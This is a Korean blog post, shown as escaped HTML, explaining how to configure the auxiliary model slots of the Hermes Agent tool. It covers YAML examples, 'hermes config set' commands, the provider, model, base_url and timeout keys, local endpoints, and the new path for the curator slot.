&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1518&quot; data-origin-height=&quot;506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUQKFc/dJMcabxgyMO/x55SeoAo1ddI5kEDG8SlB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUQKFc/dJMcabxgyMO/x55SeoAo1ddI5kEDG8SlB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUQKFc/dJMcabxgyMO/x55SeoAo1ddI5kEDG8SlB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUQKFc%2FdJMcabxgyMO%2Fx55SeoAo1ddI5kEDG8SlB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1518&quot; height=&quot;506&quot; data-origin-width=&quot;1518&quot; data-origin-height=&quot;506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckoDI5/dJMcaciFrlv/Mt6VEnMqkok4aCk9z5ox01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckoDI5/dJMcaciFrlv/Mt6VEnMqkok4aCk9z5ox01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckoDI5/dJMcaciFrlv/Mt6VEnMqkok4aCk9z5ox01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckoDI5%2FdJMcaciFrlv%2FMt6VEnMqkok4aCk9z5ox01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;169&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설정 방법 2: config.yaml 직접 편집&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btds4G/dJMcahRMVzF/zEMbwbdITDPKkmWLXsJ3R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btds4G/dJMcahRMVzF/zEMbwbdITDPKkmWLXsJ3R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btds4G/dJMcahRMVzF/zEMbwbdITDPKkmWLXsJ3R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtds4G%2FdJMcahRMVzF%2FzEMbwbdITDPKkmWLXsJ3R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1086&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 가이드는 &lt;code&gt;auxiliary&lt;/code&gt; 섹션을 yaml로 직접 작성하는 예시를 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 작업명별로 한 블록씩 적고, 그 아래에 &lt;code&gt;provider&lt;/code&gt;, &lt;code&gt;model&lt;/code&gt;, &lt;code&gt;timeout&lt;/code&gt; 등을 명시하는 형태다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;auxiliary:
  vision:
    provider: openrouter
    model: google/gemini-2.5-flash
    timeout: 120
  compression:
    provider: openrouter
    model: google/gemini-2.5-flash
    timeout: 120
  session_search:
    provider: main
    model: glm-4.5-air
    timeout: 60&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, vision과 compression은 OpenRouter 경유 Gemini 2.5 Flash로 라우팅하고, session_search는 &lt;code&gt;main&lt;/code&gt; 프로바이더(주 에이전트 프로바이더 상속) 위에서 가벼운 모델을 쓰는 식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 &lt;b&gt;provider와 model ID는 항상 한 쌍으로 생각해야 한다.&lt;/b&gt; 같은 GLM 모델이라도 어떤 provider를 쓰느냐에 따라 model ID 형식이 달라진다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px 10px; text-align: left; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px 10px; text-align: left; font-weight: 600;&quot;&gt;provider&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px 10px; text-align: left; font-weight: 600;&quot;&gt;model&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;메인이 z.ai(GLM)이고 보조도 GLM으로 상속&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;&lt;code&gt;main&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;&lt;code&gt;glm-4.5-air&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;z.ai를 보조 슬롯에서 직접 지정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;&lt;code&gt;zai&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;&lt;code&gt;glm-4.5-air&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;OpenRouter 경유 GLM&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;&lt;code&gt;openrouter&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 7px 10px;&quot;&gt;&lt;code&gt;z-ai/glm-4.5-air&lt;/code&gt; (네임스페이스 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 예시 yaml은 메인 provider가 z.ai(GLM)로 이미 설정된 상황을 전제로 한다. OpenRouter를 메인으로 쓰는 독자라면 session_search의 model도 &lt;code&gt;z-ai/glm-4.5-air&lt;/code&gt;로 바꿔야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 timeout 키와 동시성 제어&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1028&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EfvSj/dJMcaf7vnA9/f9CUCWgaSGLkiZtuAXdZG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EfvSj/dJMcaf7vnA9/f9CUCWgaSGLkiZtuAXdZG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EfvSj/dJMcaf7vnA9/f9CUCWgaSGLkiZtuAXdZG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEfvSj%2FdJMcaf7vnA9%2Ff9CUCWgaSGLkiZtuAXdZG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1936&quot; height=&quot;1028&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1028&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 가이드의 다른 예시는 &lt;code&gt;web_extract&lt;/code&gt;와 &lt;code&gt;session_search&lt;/code&gt;에 별도의 timeout/동시성 설정을 권장한다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;auxiliary:
  vision:
    provider: &quot;auto&quot;
    timeout: 120
    download_timeout: 30
  web_extract:
    timeout: 360  # 6분 권장
  approval:
    timeout: 30
  compression:
    timeout: 120
  session_search:
    timeout: 30
    max_concurrency: 3&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 출처에 따르면 현재 예시값은 vision &lt;code&gt;timeout: 120&lt;/code&gt;과 &lt;code&gt;download_timeout: 30&lt;/code&gt;, web_extract &lt;code&gt;timeout: 360&lt;/code&gt;, approval &lt;code&gt;timeout: 30&lt;/code&gt;, compression &lt;code&gt;timeout: 120&lt;/code&gt;, session_search &lt;code&gt;timeout: 30&lt;/code&gt;과 &lt;code&gt;max_concurrency: 3&lt;/code&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 &lt;code&gt;extra_body: {}&lt;/code&gt;를 통해 &lt;code&gt;enable_thinking: false&lt;/code&gt; 같은 프로바이더 특화 필드를 전달할 수 있다. 보조 슬롯은 단순히 모델 이름만 갈아끼우는 곳이 아니라 호출 시간, 다운로드 시간, 병렬 처리 한도까지 같이 손대는 공간이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 hermes config set &amp;mdash; 한 키씩 안전하게 바꾸기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;yaml 전체를 다시 쓰지 않고 한 키만 갱신하고 싶다면 &lt;code&gt;hermes config set&lt;/code&gt;을 쓰는 편이 안전하다. 공식 가이드의 예시는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes config set auxiliary.vision.provider openrouter
hermes config set auxiliary.vision.model openai/gpt-4o
hermes config set auxiliary.vision.timeout 180&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄에 하나씩 키를 바꾸는 방식이라 변경 내역이 셸 히스토리에 그대로 남는다. CI 스크립트로 묶기에도 적합하다. 즉, 인터랙티브 모드는 탐색용, yaml 편집은 표준화용, &lt;code&gt;config set&lt;/code&gt;은 운영용 도구로 역할을 나눠 보면 된다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 주요 설정 키 &amp;mdash; provider / model / base_url / timeout&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 가이드는 보조 모델 슬롯의 주요 키를 다음과 같이 정의한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;키&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;provider&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로바이더 선택 (&lt;code&gt;auto&lt;/code&gt;, &lt;code&gt;openrouter&lt;/code&gt;, &lt;code&gt;nous&lt;/code&gt;, &lt;code&gt;main&lt;/code&gt; 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;model&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 ID 문자열&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;base_url&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스텀 OpenAI 호환 엔드포인트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;api_key&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;base_url용 인증 키&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;timeout&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;API 호출 타임아웃(초)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;download_timeout&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;vision 입력 파일 다운로드 제한 시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;max_concurrency&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session_search 같은 일부 작업의 동시 실행 한도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;extra_body&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로바이더별 추가 요청 필드&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공통 스키마의 중심은 &lt;code&gt;provider&lt;/code&gt;, &lt;code&gt;model&lt;/code&gt;, &lt;code&gt;base_url&lt;/code&gt;이다. 여기에 &lt;code&gt;api_key&lt;/code&gt;, &lt;code&gt;timeout&lt;/code&gt;, &lt;code&gt;download_timeout&lt;/code&gt;, &lt;code&gt;max_concurrency&lt;/code&gt;, &lt;code&gt;extra_body&lt;/code&gt;가 작업별로 붙는다. 즉, &lt;code&gt;provider&lt;/code&gt;만 바꾸면 같은 슬롯이 다른 라우팅으로 흘러가고, &lt;code&gt;base_url&lt;/code&gt;을 채우면 라우팅이 사용자 자체 호스트로 옮겨간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1 provider 옵션이 가진 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 문서의 &lt;code&gt;provider&lt;/code&gt; 옵션 설명은 짧지만 밀도가 높다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;주요 provider &amp;mdash; 대표 예시 (전체 목록은 공식 문서 기준)&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;auto&lt;/code&gt; &amp;mdash; 기본값. 보조 작업도 메인 채팅 모델을 사용 / &lt;code&gt;openrouter&lt;/code&gt; &amp;mdash; OpenRouter 강제 라우팅 / &lt;code&gt;nous&lt;/code&gt; &amp;mdash; Nous Portal 강제 / &lt;code&gt;zai&lt;/code&gt; &amp;mdash; z.ai(GLM) 네이티브 / &lt;code&gt;codex&lt;/code&gt; 또는 &lt;code&gt;openai-codex&lt;/code&gt; &amp;mdash; ChatGPT OAuth 계열 / &lt;code&gt;main&lt;/code&gt; &amp;mdash; 보조 슬롯 전용, 주 에이전트 프로바이더 상속 / &lt;code&gt;minimax&lt;/code&gt; &amp;mdash; API 키 기반 MiniMax / &lt;code&gt;minimax-oauth&lt;/code&gt; &amp;mdash; MiniMax OAuth / &lt;code&gt;minimax-cn&lt;/code&gt; &amp;mdash; 중국 리전 MiniMax (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuration&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 가이드&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;* 현재 공식 문서에는 &lt;code&gt;openai&lt;/code&gt;, &lt;code&gt;gemini&lt;/code&gt;, &lt;code&gt;deepseek&lt;/code&gt;, &lt;code&gt;qwen-oauth&lt;/code&gt;, &lt;code&gt;kimi-coding&lt;/code&gt;, &lt;code&gt;xai&lt;/code&gt;, &lt;code&gt;ollama-cloud&lt;/code&gt; 등이 추가로 등록되어 있다. 위 목록은 2026-05-01 기준 대표 옵션이며, 최신 전체 목록은 공식 문서를 우선한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &quot;이미 OpenRouter 키가 있으면 &lt;code&gt;openrouter&lt;/code&gt;&quot;, &quot;z.ai(GLM)를 메인으로 쓰면 &lt;code&gt;zai&lt;/code&gt;&quot;, &quot;주 에이전트와 같은 프로바이더 위에서 다른 모델을 쓰고 싶으면 보조 슬롯에서 &lt;code&gt;main&lt;/code&gt;&quot;, &quot;ChatGPT OAuth를 쓰고 싶으면 문서 예시의 &lt;code&gt;codex&lt;/code&gt;와 registry의 &lt;code&gt;openai-codex&lt;/code&gt; 표기 차이를 확인한다&quot;로 갈라진다. &lt;code&gt;auto&lt;/code&gt;는 편하지만, 메인 모델이 비싼 추론 모델일수록 비용 면에서는 가장 느슨한 선택지다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 base_url로 로컬&amp;middot;커스텀 엔드포인트 붙이기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/da2b2Z/dJMcaad5Zmx/0Sq5T7rpsZy4b3RmK7kDEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/da2b2Z/dJMcaad5Zmx/0Sq5T7rpsZy4b3RmK7kDEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/da2b2Z/dJMcaad5Zmx/0Sq5T7rpsZy4b3RmK7kDEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fda2b2Z%2FdJMcaad5Zmx%2F0Sq5T7rpsZy4b3RmK7kDEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1938&quot; height=&quot;1084&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;base_url&lt;/code&gt;을 채우면 OpenAI 호환 인터페이스를 가진 임의의 엔드포인트를 보조 모델로 쓸 수 있다. 공식 가이드의 예시를 그대로 옮기면 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;auxiliary:
  vision:
    base_url: &quot;http://localhost:1234/v1&quot;
    api_key: &quot;local-key&quot;
    model: &quot;qwen2.5-vl&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말해, Ollama나 사용자가 직접 띄운 vLLM 서버 같은 로컬 인프라를 vision 슬롯에 꽂을 수 있다. 이미지 데이터를 외부 API로 보내고 싶지 않을 때 특히 유용하다. 단, &lt;code&gt;api_key&lt;/code&gt; 같은 비밀값을 yaml에 평문으로 두지 않고 환경변수 경유로 묶는 등 별도 운영 규칙은 사용자가 책임져야 한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Curator 별도 슬롯 설정&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyrPoF/dJMcafsUrBD/VizY4V146ZZJnWKRLrLflk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyrPoF/dJMcafsUrBD/VizY4V146ZZJnWKRLrLflk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyrPoF/dJMcafsUrBD/VizY4V146ZZJnWKRLrLflk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyrPoF%2FdJMcafsUrBD%2FVizY4V146ZZJnWKRLrLflk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1094&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Curator 스킬 리뷰는 예전 자료와 현재 공식 문서가 갈리는 지점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/curator&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Curator 문서&lt;/a&gt;는 리뷰 패스를 일반 보조 작업과 같은 &lt;code&gt;auxiliary.curator&lt;/code&gt; 슬롯으로 다룬다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;curator:
  enabled: true

auxiliary:
  curator:
    provider: openrouter
    model: google/gemini-3-flash-preview
    timeout: 600&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #f0a800; padding: 12px 15px; margin: 10px 0 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모델 안정성 주의:&lt;/b&gt; 예시의 &lt;code&gt;google/gemini-3-flash-preview&lt;/code&gt;는 공식 문서에 등장하지만 Preview 상태다. Google이 사전 예고 없이 슬러그를 변경하거나 deprecated할 수 있어 장기 운영용으로 고정하기엔 리스크가 있다. 안정적인 대안으로 &lt;code&gt;google/gemini-2.5-flash&lt;/code&gt;(Stable 릴리즈, $0.30/$2.50/M tokens)가 있다. 도입 시점에 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openrouter.ai/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenRouter 카탈로그&lt;/a&gt;에서 현재 상태를 직접 확인하는 것이 가장 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 헷갈리기 쉬운 부분이 있다. 과거에는 &lt;code&gt;curator.auxiliary.{provider,model}&lt;/code&gt; 형태가 쓰였고, 현재 문서도 이 경로가 아직 동작한다고 설명한다. 다만 deprecation 로그가 남는 레거시 경로이므로 새로 설정한다면 &lt;code&gt;auxiliary.curator&lt;/code&gt;로 옮기는 편이 맞다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;# 레거시. 새 설정에는 권장하지 않음.
curator:
  auxiliary:
    provider: openrouter
    model: google/gemini-3-flash-preview&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Curator 문서의 위치도 바뀌었다. &lt;code&gt;docs/user-guide/curator&lt;/code&gt;가 아니라 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/curator&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code&gt;docs/user-guide/features/curator&lt;/code&gt;&lt;/a&gt; 아래에 있다. 이전 URL을 보고 404라고 판단하면, 기능이 없는 게 아니라 문서 경로를 잘못 잡은 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
